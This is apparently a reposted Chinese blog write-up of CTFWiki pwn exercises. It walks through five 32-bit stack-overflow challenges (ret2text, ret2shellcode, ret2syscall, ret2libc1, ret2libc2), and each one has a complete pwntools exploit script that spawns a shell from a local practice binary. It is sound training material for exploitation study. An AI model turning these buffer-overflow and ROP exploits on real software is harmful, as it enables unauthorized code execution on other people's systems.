CTFWiki-pwn

CTFWiki-pwn,第1张

ctfwiki-pwn stackoverflowret2textret2shellcoderet2syscallret2libc1ret2libc2

stackoverflow ret2text

首先checksec一下,是32位可执行文件,没有开启保护

放入ida,shift+f12查看字符串,发现secure函数中使用system函数调用了"/bin/sh",记下地址0x804863a

查看偏移地址


脚本如下:

from pwn import *
io = process("./ret2text")
payload = b"a"*112 + p32(0x804863a)
io.sendline(payload)
io.interactive()

ret2shellcode

checksec一下,是32位小端序

IDA看一下汇编代码,发现没有shell

找到溢出点


buf2所在段有执行权限

分析偏移地址:112

构造脚本:

from pwn import *

io = process('./ret2shellcode')

shellcode = asm(shellcraft.sh())
buf2_addr = 0x804A080
payload = shellcode.ljust(112, 'A') + p32(buf2_addr)

io.sendline(payload)

io.interactive()

ret2syscall

checksec一下,是32位小端序

找到/bin/sh地址

分析偏移地址

待构建的shellcode如下:

pop eax -->0xb
pop ebx -->'/bin/sh'
pop ecx -->0
pop edx -->0
int 0x80

找到所需代码片段

构建脚本:

from pwn import *

io = process('./rop')

offset=112
bin_sh_addr = 0x080BE408
pop_eax_ret_addr = 0x080bb196
pop_edx_ecx_ebx_addr=0x0806eb90
int_addr=0x08049421

payload = "a"*offset + p32(pop_eax_ret_addr) + p32(0xb) + p32(pop_edx_ecx_ebx_addr) + p32(0) + p32(0) + p32(bin_sh_addr) + p32(int_addr)

io.sendline(payload)

io.interactive()

ret2libc1

首先还是checksec一下,是32位小端序

IDA打开,发现溢出点

用pwndbg算一算偏移地址

找到/bin/sh地址和system函数的plt表地址


构建exp(“b”*4作为虚假的返回地址,用于使函数调用结构完整):

from pwn import *

io = process('./ret2libc1')

offset = 112

system_plt_addr = 0x08048460
bin_sh_addr = 0x08048720

payload = "a"*offset + p32(system_plt_addr) + "b"*4  + p32(bin_sh_addr)

io.sendline(payload)

io.interactive()

ret2libc2

checksec一下,是32位小端序

放进IDA里,发现溢出点

找到system函数,但找不到/bin/sh

在bss段找到一个buffer

并且这个buffer有写入权限

于是我们可以利用gets函数将/bin/sh读入到buf2中,再由system函数执行
计算偏移地址

找到system和gets对应的plt表地址

exp如下:

from pwn import *
io = process('./ret2libc2')

system_addr = 0x8048490
gets_addr = 0x8048460
buf_addr = 0x804A080
payload = 'a'*112 + p32(gets_addr) + p32(system_addr) + p32(buf_addr) + p32(buf_addr)

io.sendline(payload)

io.sendline('/bin/sh')

io.interactive()

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/944444.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-18
下一篇 2022-05-18

发表评论

登录后才能评论

评论列表(0条)

保存